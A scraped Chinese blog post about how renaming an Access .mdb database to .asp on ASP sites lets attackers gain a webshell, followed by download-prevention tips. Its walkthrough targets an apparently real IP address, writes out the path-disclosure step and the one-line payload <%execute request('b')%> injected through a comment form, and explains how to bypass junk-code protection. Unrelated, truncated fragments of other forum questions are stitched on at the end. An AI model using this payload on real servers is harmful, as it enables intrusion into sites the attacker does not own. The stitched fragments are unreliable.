- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章access改mdb为asp所带来的灾难 附mdb防下载方法由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。 一.思路 大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<%%>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。 二.示例 随便找个目标,首先我们暴库,看是不是asp后缀的数据库:http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210 返回: 。
复制代码代码如下
Microsoft VBScript 编译器错误 错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行242 Microsoft JET Database Engine 错误 '80004005' 'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。 /test/conn.asp,行18 。
我们提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论: <%execute request("b")%> 这样我们就把asp代码:<%execute request("b")%>写入了数据库,那么数据库:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到: 。
复制代码代码如下
/iisHelp/common/500-100.asp,行242 Microsoft VBScript 运行时错误 错误 '800a000d' 类型不匹配: 'execute' /test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266 。
注意:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用<%execute request("b")%>。 三.其他一些问题和思路 1.对于改了后缀为asp,还对数据库里加入了<%='a'-1%>等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。 2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用数据库备用改后缀为asp。 mdb防下载方法小结 1:在iis6下面 如果一个扩展名没有被定义则 访问的时候会出现文件没有找到的404错误。 因此你可以将数据库任意命名成一个绝对不会出现的文件名就可以达到安全的效果比如:xxxxx.xxxxxxxxxxx 2 将数据库放在网站的外部,那绝对就不能访问得到了。例如: e:/web/是你的网站 则把数据库放在e:/ 3 正如楼上所说的 将.mdb 改成 .asp 同时倒入一个特殊的表 包含 <% 的二进制字符 这样访问文件出现 缺少脚本关闭符的提示。 4 或者将.mdb 改成.asp 同时用winhex打开 可以发现176以后有很长一部分 00 字符串 你随便在处改成一段asp代码 也可以实现防止下载,这样也不影响数据库功能。例如: <% response.write("非法访问") response.end() %> 现在在数据库的名称里 加上 “#” 和空格 都被破解了 比如“#” = “<%35” 而空格 = “<%20” 所以说 现在用这些已经不管用了。。 如果是自己的服务器的话就在IIS里设置一下: 新建一个空白的DLL文件,然后在IIS里添加映射,可执行文件选刚才建的这个DLL,扩展名填.mdb,保存后重启一下IIS服务即可.
最后此篇关于access改mdb为asp所带来的灾难 附mdb防下载方法的文章就讲到这里了,如果你想了解更多关于access改mdb为asp所带来的灾难 附mdb防下载方法的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我正在为 Windows 应用程序编写 DLL 插件,添加以下内容后包括: #include #include 我得到一个奇妙的编译错误: Error 3 error C2143: syntax
这让我有点疯狂.. 下面是迄今为止我的程序的屏幕截图。 右边是一个 NSTableView(基于 View )。用户可以在此处选择他们想要处理的文档。 左边是 NSTextView。文本的显示取决于他
当我在 Google 上搜索我们的网站时,我发现显示了三个内容相同的网站。我一直以为我们只使用一个站点 www.foo.com,但事实证明我们有 www.foo.net 和 www.foo.info,
昨天我遇到了痛苦,这让我沮丧了 24 小时。问题归结为随机发生的意外崩溃。使事情复杂化的是,调试报告也具有绝对随机 模式。更复杂的是,所有调试跟踪都指向随机 Qt 源或 native DLL,即每次都
在我们与业务层断开连接并通过 MVC Web API 进行通信的 Winforms 客户端应用程序中,我们收到了一个严重的错误。哪位高手能解释一下! 这是什么意思呢? ---> (Inner Exce
我是一名前端开发人员,我正在使用 react-admin 开发一个网络应用程序元素。 代码很好,没有错误。我启动应用程序。起初它看起来像它应该的样子。一些带有表格、菜单栏等的组件。但是,在单击几下之后
我一直在研究如何使 Bootstrap 与 IE 8 一起工作,但它仍然看起来像这样: 到目前为止我做了什么: 插入 插入 respond.js -> 但还是一样。问题是子域吗?还是我的 IE 8
关闭。这个问题不符合Stack Overflow guidelines .它目前不接受答案。 关于您编写的代码问题的问题必须在问题本身中描述具体问题 — 并且包括有效代码 以重现它。参见 SSC
我刚刚更改了所有代码以使用 __autoload,发现它与 joomla 自动加载器冲突。在某些情况下,我将我的应用程序与 joomla 集成以注册用户等。 我发现 spl_autoload_regi
无法在任何地方得到任何爱,这很难相信。 NetStream 上的实时流和缓冲区不混合。为什么?文档并没有说你不能这样做。 播放被灌输。缓冲区应该填充到您在播放前设置的内容。但是,大约有一半的时间,播放
我正在尝试用 Rust 实现 BST。我的结构看起来像这样: pub struct Node { key: T, parent: Option>>, left: Opti
目标: json_encode 具有私有(private)属性的 PHP 对象 通过 Low Level AJAX 将编码后的对象作为数据字符串发送使用 jQuery json_decode 请求发送
我花了很多时间在网页上工作,并且懒得将东西提交给 Git。今天,我试图将所有内容推送到我的 repo 协议(protocol),但我认为我可能造成了灾难。我是 Git 的新手,基本上只是将它用于最基本
我是一名优秀的程序员,十分优秀!